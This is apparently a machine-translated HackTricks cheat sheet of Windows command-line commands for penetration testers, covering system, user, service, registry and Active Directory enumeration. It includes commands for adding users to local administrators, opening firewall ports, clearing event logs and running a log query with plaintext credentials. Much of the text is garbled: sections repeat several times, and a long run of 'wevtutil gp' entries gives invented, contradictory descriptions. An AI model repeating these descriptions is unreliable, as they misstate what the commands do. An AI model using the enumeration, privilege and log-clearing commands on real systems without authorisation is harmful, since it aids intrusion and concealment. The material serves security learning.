# Basic Win CMD for Pentesters
AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! * Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin. * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin. * [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**
## Sistem bilgisi ### Sürüm ve Yama bilgisi ```bash wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information wmic computersystem LIST full #Get PC info wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches wmic qfe list brief #Updates hostname DRIVERQUERY #3rd party driver vulnerable? ``` ### Ortam *** ### Basic CMD commands for pentesters ### Pentesterler için Temel CMD Komutları *** #### System Information #### Sistem Bilgisi **Hostname** **Ana Bilgisayar Adı** ```plaintext hostname ``` **IP Address** **IP Adresi** ```plaintext ipconfig ``` **Network Interfaces** **Ağ Arayüzleri** ```plaintext netstat -ano ``` **Running Processes** **Çalışan İşlemler** ```plaintext tasklist ``` **Installed Software** **Yüklü Yazılımlar** ```plaintext wmic product get name,version ``` *** #### File System #### Dosya Sistemi **List Files and Directories** **Dosyaları ve Dizinleri Listele** ```plaintext dir ``` **Change Directory** **Dizin Değiştir** ```plaintext cd ``` **Create Directory** **Dizin Oluştur** ```plaintext mkdir ``` **Delete Directory** **Dizin Sil** ```plaintext rmdir ``` **Copy File** **Dosya Kopyala** ```plaintext copy ``` **Move File** **Dosya Taşı** ```plaintext move ``` **Delete File** **Dosya Sil** ```plaintext del ``` *** #### User Accounts #### Kullanıcı Hesapları **List Users** **Kullanıcıları Listele** ```plaintext net user ``` **Add User** **Kullanıcı Ekle** ```plaintext net user /add ``` **Delete User** **Kullanıcı Sil** ```plaintext net user /delete ``` **Change User Password** **Kullanıcı Şifresini Değiştir** ```plaintext net user ``` *** #### Network #### Ağ **Ping** **Ping** ```plaintext ping ``` **Traceroute** **Traceroute** ```plaintext tracert ``` **Port Scan** **Port Taraması** ```plaintext nmap -p ``` **Netcat** **Netcat** ```plaintext nc -v ``` *** #### Services #### Servisler **List Running Services** **Çalışan Servisleri Listele** ```plaintext net start ``` **Stop Service** **Servisi Durdur** ```plaintext net stop ``` **Start Service** **Servisi Başlat** ```plaintext net start ``` **Restart Service** **Servisi Yeniden Başlat** ```plaintext net stop && net start ``` *** #### Registry #### Kayıt Defteri **List Registry Keys** **Kayıt Defteri Anahtarlarını Listele** ```plaintext reg query HKLM\Software ``` **Read Registry Key Value** **Kayıt Defteri Anahtar Değerini Oku** ```plaintext reg query HKLM\Software\Microsoft\Windows\CurrentVersion /v ``` **Modify Registry Key Value** **Kayıt Defteri Anahtar Değerini Değiştir** ```plaintext reg add HKLM\Software\Microsoft\Windows\CurrentVersion /v /t REG_SZ /d /f ``` *** #### Task Scheduler #### Görev Zamanlayıcısı **List Scheduled Tasks** **Zamanlanmış Görevleri Listele** ```plaintext schtasks /query /fo LIST /v ``` **Create Scheduled Task** **Zamanlanmış Görev Oluştur** ```plaintext schtasks /create /tn /tr /sc /st /ru /rp ``` **Delete Scheduled Task** **Zamanlanmış Görevi Sil** ```plaintext schtasks /delete /tn /f ``` *** #### Event Viewer #### Olay Görüntüleyici **List Event Logs** **Olay Günlüklerini Listele** ```plaintext wevtutil el ``` **Read Event Log** **Olay Günlüğünü Oku** ```plaintext wevtutil qe ``` *** #### Firewall #### Güvenlik Duvarı **List Firewall Rules** **Güvenlik Duvarı Kurallarını Listele** ```plaintext netsh advfirewall firewall show rule name=all ``` **Add Firewall Rule** **Güvenlik Duvarı Kuralı Ekle** ```plaintext netsh advfirewall firewall add rule name= dir=in action=allow protocol= localport= ``` **Delete Firewall Rule** **Güvenlik Duvarı Kuralını Sil** ```plaintext netsh advfirewall firewall delete rule name= ``` *** #### System Services #### Sistem Servisleri **List Running Services** **Çalışan Servisleri Listele** ```plaintext sc query state=running ``` **Stop Service** **Servisi Durdur** ```plaintext sc stop ``` **Start Service** **Servisi Başlat** ```plaintext sc start ``` **Restart Service** **Servisi Yeniden Başlat** ```plaintext sc stop && sc start ``` *** #### Task Manager #### Görev Yöneticisi **List Running Processes** **Çalışan İşlemleri Listele** ```plaintext tasklist ``` **Kill Process** **İşlemi Sonlandır** ```plaintext taskkill /F /PID ``` *** #### System Configuration #### Sistem Yapılandırması **List Startup Programs** **Başlangıç Programlarını Listele** ```plaintext wmic startup get caption,command ``` **Disable Startup Program** **Başlangıç Programını Devre Dışı Bırak** ```plaintext wmic startup where caption="" call delete ``` *** #### System Accounts #### Sistem Hesapları **List Local Administrators** **Yerel Yöneticileri Listele** ```plaintext net localgroup administrators ``` **Add User to Local Administrators** **Kullanıcıyı Yerel Yöneticilere Ekle** ```plaintext net localgroup administrators /add ``` **Remove User from Local Administrators** **Kullanıcıyı Yerel Yöneticilerden Kaldır** ```plaintext net localgroup administrators /delete ``` *** #### System Logs #### Sistem Günlükleri **List Windows Event Logs** **Windows Olay Günlüklerini Listele** ```plaintext wevtutil el ``` **Read Windows Event Log** **Windows Olay Günlüğünü Oku** ```plaintext wevtutil qe ``` *** #### System Processes #### Sistem İşlemleri **List Running Processes** **Çalışan İşlemleri Listele** ```plaintext tasklist ``` **Kill Process** **İşlemi Sonlandır** ```plaintext taskkill /F /PID ``` *** #### System Drivers #### Sistem Sürücüleri **List Installed Drivers** **Yüklü Sürücüleri Listele** ```plaintext driverquery ``` **Disable Driver** **Sürücüyü Devre Dışı Bırak** ```plaintext sc config start=disabled ``` **Enable Driver** **Sürücüyü Etkinleştir** ```plaintext sc config start=demand ``` *** #### System Startup #### Sistem Başlangıcı **List Startup Programs** **Başlangıç Programlarını Listele** ```plaintext wmic startup get caption,command ``` **Disable Startup Program** **Başlangıç Programını Devre Dışı Bırak** ```plaintext wmic startup where caption="" call delete ``` **Enable Startup Program** **Başlangıç Programını Etkinleştir** ```plaintext wmic startup where caption="" call create ``` *** #### System Services #### Sistem Servisleri **List Running Services** **Çalışan Servisleri Listele** ```plaintext sc query state=running ``` **Stop Service** **Servisi Durdur** ```plaintext sc stop ``` **Start Service** **Servisi Başlat** ```plaintext sc start ``` **Restart Service** **Servisi Yeniden Başlat** ```plaintext sc stop && sc start ``` *** #### System Registry #### Sistem Kayıt Defteri **List Registry Keys** **Kayıt Defteri Anahtarlarını Listele** ```plaintext reg query HKLM\Software ``` **Read Registry Key Value** **Kayıt Defteri Anahtar Değerini Oku** ```plaintext reg query HKLM\Software\Microsoft\Windows\CurrentVersion /v ``` **Modify Registry Key Value** **Kayıt Defteri Anahtar Değerini Değiştir** ```plaintext reg add HKLM\Software\Microsoft\Windows\CurrentVersion /v /t REG_SZ /d /f ``` *** #### System Network #### Sistem Ağı **List Network Interfaces** **Ağ Arayüzlerini Listele** ```plaintext netsh interface show interface ``` **Disable Network Interface** **Ağ Arayüzünü Devre Dışı Bırak** ```plaintext netsh interface set interface "" admin=disable ``` **Enable Network Interface** **Ağ Arayüzünü Etkinleştir** ```plaintext netsh interface set interface "" admin=enable ``` *** #### System Firewall #### Sistem Güvenlik Duvarı **List Firewall Rules** **Güvenlik Duvarı Kurallarını Listele** ```plaintext netsh advfirewall firewall show rule name=all ``` **Add Firewall Rule** **Güvenlik Duvarı Kuralı Ekle** ```plaintext netsh advfirewall firewall add rule name= dir=in action=allow protocol= localport= ``` **Delete Firewall Rule** **Güvenlik Duvarı Kuralını Sil** ```plaintext netsh advfirewall firewall delete rule name= ``` *** #### System Accounts #### Sistem Hesapları **List Local Administrators** **Yerel Yöneticileri Listele** ```plaintext net localgroup administrators ``` **Add User to Local Administrators** **Kullanıcıyı Yerel Yöneticilere Ekle** ```plaintext net localgroup administrators /add ``` **Remove User from Local Administrators** **Kullanıcıyı Yerel Yöneticilerden Kaldır** ```plaintext net localgroup administrators /delete ``` *** #### System Files #### Sistem Dosyaları **List Files and Directories** **Dosyaları ve Dizinleri Listele** ```plaintext dir ``` **Change Directory** **Dizin Değiştir** ```plaintext cd ``` **Create Directory** **Dizin Oluştur** ```plaintext mkdir ``` **Delete Directory** **Dizin Sil** ```plaintext rmdir ``` **Copy File** **Dosya Kopyala** ```plaintext copy ``` **Move File** **Dosya Taşı** ```plaintext move ``` **Delete File** **Dosya Sil** ```plaintext del ``` *** #### System Processes #### Sistem İşlemleri **List Running Processes** **Çalışan İşlemleri Listele** ```plaintext tasklist ``` **Kill Process** **İşlemi Sonlandır** ```plaintext taskkill /F /PID ``` *** #### System Drivers #### Sistem Sürücüleri **List Installed Drivers** **Yüklü Sürücüleri Listele** ```plaintext driverquery ``` **Disable Driver** **Sürücüyü Devre Dışı Bırak** ```plaintext sc config start=disabled ``` **Enable Driver** **Sürücüyü Etkinleştir** ```plaintext sc config start=demand ``` *** #### System Services #### Sistem Servisleri **List Running Services** **Çalışan Servisleri Listele** ```plaintext sc query state=running ``` **Stop Service** **Servisi Durdur** ```plaintext sc stop ``` **Start Service** **Servisi Başlat** ```plaintext sc start ``` **Restart Service** **Servisi Yeniden Başlat** ```plaintext sc stop && sc start ``` *** #### System Configuration #### Sistem Yapılandırması **List Startup Programs** **Başlangıç Programlarını Listele** ```plaintext wmic startup get caption,command ``` **Disable Startup Program** **Başlangıç Programını Devre Dışı Bırak** ```plaintext wmic startup where caption="" call delete ``` *** #### System Logs #### Sistem Günlükleri **List Windows Event Logs** **Windows Olay Günlüklerini Listele** ```plaintext wevtutil el ``` **Read Windows Event Log** **Windows Olay Günlüğünü Oku** ```plaintext wevtutil qe ``` *** #### System Accounts #### Sistem Hesapları **List Local Administrators** **Yerel Yöneticileri Listele** ```plaintext net localgroup administrators ``` **Add User to Local Administrators** **Kullanıcıyı Yerel Yöneticilere Ekle** ```plaintext net localgroup administrators /add ``` **Remove User from Local Administrators** **Kullanıcıyı Yerel Yöneticilerden Kaldır** ```plaintext net localgroup administrators /delete ``` *** #### System Files #### Sistem Dosyaları **List Files and Directories** **Dosyaları ve Dizinleri Listele** ```plaintext dir ``` **Change Directory** **Dizin Değiştir** ```plaintext cd ``` **Create Directory** **Dizin Oluştur** ```plaintext mkdir ``` **Delete Directory** **Dizin Sil** ```plaintext rmdir ``` **Copy File** **Dosya Kopyala** ```plaintext copy ``` **Move File** **Dosya Taşı** ```plaintext move ``` **Delete File** **Dosya Sil** ```plaintext del ``` ```bash set #List all environment variables ``` Vurgulanması gereken bazı çevre değişkenleri: * **COMPUTERNAME**: Bilgisayarın adı * **TEMP/TMP:** Geçici klasör * **USERNAME:** Kullanıcı adınız * **HOMEPATH/USERPROFILE:** Ana dizin * **windir:** C:\Windows * **OS**: Windows İşletim Sistemi * **LOGONSERVER**: Alan denetleyicisinin adı * **USERDNSDOMAIN**: DNS ile kullanılacak alan adı * **USERDOMAIN**: Alanın adı ```bash nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC ``` ### Bağlı Diskler Mounted disks are additional storage devices that are connected to a computer system and made accessible for use. These disks can be physical devices such as hard drives or solid-state drives, or they can be virtual disks created within a virtual machine environment. Bağlı diskler, bir bilgisayar sistemiyle bağlantı kurulan ve kullanıma açılan ek depolama cihazlarıdır. Bu diskler, sabit diskler veya katı hal sürücüleri gibi fiziksel cihazlar olabilir veya sanal bir makine ortamında oluşturulan sanal diskler olabilir. ```bash (wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) wmic logicaldisk get caption,description,providername ``` ### [Defender](authentication-credentials-uac-and-efs/#defender) ### Geri Dönüşüm Kutusu ```bash dir C:\$Recycle.Bin /s /b ``` ### İşlemler, Hizmetler ve Yazılımlar #### İşlemler (Processes) Windows işletim sisteminde çalışan işlemleri listelemek için aşağıdaki komutları kullanabilirsiniz: ```plaintext tasklist ``` Belirli bir işlemi sonlandırmak için ise aşağıdaki komutu kullanabilirsiniz: ```plaintext taskkill /IM ``` #### Hizmetler (Services) Windows hizmetlerini yönetmek için aşağıdaki komutları kullanabilirsiniz: ```plaintext sc query ``` Belirli bir hizmeti başlatmak veya durdurmak için ise aşağıdaki komutları kullanabilirsiniz: ```plaintext sc start sc stop ``` #### Yazılımlar (Software) Windows işletim sisteminde yüklü olan yazılımları listelemek için aşağıdaki komutu kullanabilirsiniz: ```plaintext wmic product get name,version ``` Bu komut, yüklü olan yazılımların adını ve sürümünü listeleyecektir. ```bash schtasks /query /fo LIST /v #Verbose out of scheduled tasks schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM tasklist /V #List processes tasklist /SVC #links processes to started services net start #Windows Services started wmic service list brief #List services sc query #List of services dir /a "C:\Program Files" #Installed software dir /a "C:\Program Files (x86)" #Installed software reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software ``` ## Alan Adı Bilgisi ### `whoami` Bu komut, mevcut kullanıcı hakkında bilgi sağlar. ### `hostname` Bu komut, bilgisayarın adını veya alan adını gösterir. ### `ipconfig /all` Bu komut, ağ bağlantılarının ayrıntılı bilgilerini gösterir. ### `net user` Bu komut, mevcut kullanıcı hesaplarının listesini gösterir. ### `net group` Bu komut, mevcut grup hesaplarının listesini gösterir. ### `net localgroup` Bu komut, mevcut yerel grup hesaplarının listesini gösterir. ### `net view` Bu komut, ağdaki kaynakların listesini gösterir. ### `net share` Bu komut, paylaşılan kaynakların listesini gösterir. ### `netstat -ano` Bu komut, ağ bağlantılarının ve portların durumunu gösterir. ### `route print` Bu komut, ağ yönlendirme tablosunu gösterir. ### `arp -a` Bu komut, ARP önbelleğini gösterir. ### `nslookup` Bu komut, DNS sorgularını gerçekleştirir. ### `systeminfo` Bu komut, sistem hakkında ayrıntılı bilgiler sağlar. ### `tasklist` Bu komut, çalışan işlemlerin listesini gösterir. ### `taskkill` Bu komut, belirli bir işlemi sonlandırır. ### `schtasks /query` Bu komut, zamanlanmış görevlerin listesini gösterir. ### `schtasks /delete` Bu komut, belirli bir zamanlanmış görevi siler. ### `reg query` Bu komut, kayıt defteri anahtarlarını ve değerlerini gösterir. ### `reg add` Bu komut, kayıt defterine yeni bir anahtar veya değer ekler. ### `reg delete` Bu komut, kayıt defterinden bir anahtar veya değeri siler. ### `reg load` Bu komut, kayıt defterinden bir yedekleme dosyasını yükler. ### `reg unload` Bu komut, kayıt defterinden bir yedekleme dosyasını kaldırır. ### `reg save` Bu komut, kayıt defterini bir yedekleme dosyasına kaydeder. ### `reg restore` Bu komut, kayıt defterini bir yedekleme dosyasından geri yükler. ### `wevtutil qe` Bu komut, olay günlüklerini sorgular. ### `wevtutil cl` Bu komut, belirli bir olay günlüğünü temizler. ### `wevtutil el` Bu komut, mevcut olay günlüklerinin listesini gösterir. ### `wevtutil gli` Bu komut, belirli bir olay günlüğünün ayrıntılarını gösterir. ### `wevtutil sl` Bu komut, olay günlüğü aboneliklerini listeler. ### `wevtutil im` Bu komut, olay günlüğü aboneliklerini içe aktarır. ### `wevtutil um` Bu komut, olay günlüğü aboneliklerini kaldırır. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından alır. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından kaldırır. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından yedekler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından kaydeder. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından geri yükler. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından uygular. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarından sıfırlar. ### `wevtutil gp` Bu komut, olay günlüğü aboneliklerini grup politikalarına yedekler. ### `wevtutil gp` Bu komut, olay günlüğ ```bash # Generic AD info echo %USERDOMAIN% #Get domain name echo %USERDNSDOMAIN% #Get domain name echo %logonserver% #Get name of the domain controller set logonserver #Get name of the domain controller set log #Get name of the domain controller gpresult /V # Get current policy applied wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers # Users dsquery user #Get all users net user /domain #List all users of the domain net user /domain #Get information about that user net accounts /domain #Password and lockout policy wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts. # Groups net group /domain #List of domain groups net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here) net group "Domain Admins" /domain #List users with domain admin privileges net group "domain computers" /domain #List of PCs connected to the domain net group "Domain Controllers" /domain #List PC accounts of domains controllers wmic group list /format:list # Information about all local groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group # Computers dsquery computer #Get all computers net view /domain #Lis of PCs of the domain nltest /dclist: #List domain controllers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers # Trust relations nltest /domain_trusts #Mapping of the trust relationships # Get all objects inside an OU dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" ``` ### Günlükler ve Olaylar Windows işletim sistemi, çeşitli günlükler ve olaylar aracılığıyla sistem aktivitelerini kaydeder. Bu günlükler ve olaylar, bir pentester için değerli bilgiler sağlayabilir ve hedef sistemin zayıf noktalarını belirlemeye yardımcı olabilir. #### Windows Günlükleri Windows işletim sistemi, çeşitli günlükleri kullanarak sistem aktivitelerini kaydeder. Bu günlükler, olayların türüne ve önemine bağlı olarak farklı kategorilere ayrılır. İşte bazı yaygın Windows günlükleri: * **Uygulama Günlüğü**: Uygulamaların çalışmasıyla ilgili bilgileri kaydeder. * **Güvenlik Günlüğü**: Güvenlik olaylarını kaydeder, örneğin başarısız oturum açma denemeleri veya yetkisiz erişim girişimleri. * **Sistem Günlüğü**: Sistemle ilgili önemli olayları kaydeder, örneğin sistem hataları veya donanım sorunları. * **DNS Günlüğü**: DNS sorgularını ve yanıtlarını kaydeder. * **Günlük Hizmeti**: Diğer günlükleri toplar ve yönetir. #### Olay Görüntüleyici Windows işletim sistemi, Olay Görüntüleyici adlı bir araç sağlar. Olay Görüntüleyici, sistem günlüklerini görüntülemek ve analiz etmek için kullanılır. Aşağıda, Olay Görüntüleyici'nin kullanımıyla ilgili bazı temel komutlar bulunmaktadır: * **eventvwr**: Olay Görüntüleyici'yi açar. * **eventvwr.msc /s**: Uzak bir bilgisayardaki Olay Görüntüleyici'yi açar. * **eventvwr.msc /c**: Olay Görüntüleyici'yi yönetici olarak açar. #### Olay İzleme Olay İzleme, belirli bir olayın gerçekleştiğinde tetiklenen bir eylem gerçekleştirmek için kullanılır. Olay İzleme, PowerShell veya Komut İstemi aracılığıyla yapılandırılabilir. İşte Olay İzleme ile ilgili bazı temel komutlar: * **wevtutil**: Olay İzleme hizmetini yönetmek için kullanılır. * **wevtutil qe**: Belirli bir günlüğü sorgular. * **wevtutil gli**: Belirli bir günlüğün ayrıntılarını görüntüler. * **wevtutil el**: Mevcut günlükleri listeler. Bu temel komutlar, bir pentester'ın Windows işletim sistemi üzerinde günlükleri ve olayları analiz etmesine yardımcı olabilir. ```bash #Make a security query using another credentials wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 ``` #### List Users To list all users on the system, you can use the following command: ```plaintext net user ``` #### Create User To create a new user, you can use the following command: ```plaintext net user /add ``` #### Delete User To delete a user, you can use the following command: ```plaintext net user /delete ``` ### Groups #### List Groups To list all groups on the system, you can use the following command: ```plaintext net localgroup ``` #### Add User to Group To add a user to a group, you can use the following command: ```plaintext net localgroup /add ``` #### Remove User from Group To remove a user from a group, you can use the following command: ```plaintext net localgroup /delete ``` ## Services ### List Services To list all services on the system, you can use the following command: ```plaintext sc query ``` ### Start Service To start a service, you can use the following command: ```plaintext sc start ``` ### Stop Service To stop a service, you can use the following command: ```plaintext sc stop ``` ### Disable Service To disable a service, you can use the following command: ```plaintext sc config start= disabled ``` ### Enable Service To enable a service, you can use the following command: ```plaintext sc config start= auto ``` ## Firewall ### List Firewall Rules To list all firewall rules, you can use the following command: ```plaintext netsh advfirewall firewall show rule name=all ``` ### Add Firewall Rule To add a new firewall rule, you can use the following command: ```plaintext netsh advfirewall firewall add rule name= dir=in action=allow protocol= localport= ``` ### Delete Firewall Rule To delete a firewall rule, you can use the following command: ```plaintext netsh advfirewall firewall delete rule name= ``` ## Registry ### Add Registry Key To add a new registry key, you can use the following command: ```plaintext reg add /v /t /d ``` ### Delete Registry Key To delete a registry key, you can use the following command: ```plaintext reg delete /f ``` ### Query Registry Key To query a registry key, you can use the following command: ```plaintext reg query ``` ### Modify Registry Key To modify a registry key, you can use the following command: ```plaintext reg add /v /t /d /f ``` ```bash #Me whoami /all #All info about me, take a look at the enabled tokens whoami /priv #Show only privileges # Local users net users #All users dir /b /ad "C:\Users" net user %username% #Info about a user (me) net accounts #Information about password requirements wmic USERACCOUNT Get Domain,Name,Sid net user /add [username] [password] #Create user # Other users looged qwinsta #Anyone else logged in? #Lauch new cmd.exe with new creds (to impersonate in network) runas /netonly /user\ "cmd.exe" ::The password will be prompted #Check current logon session as administrator using logonsessions from sysinternals logonsessions.exe logonsessions64.exe ``` ### Gruplar Groups are a fundamental concept in Windows operating systems. They are used to organize and manage user 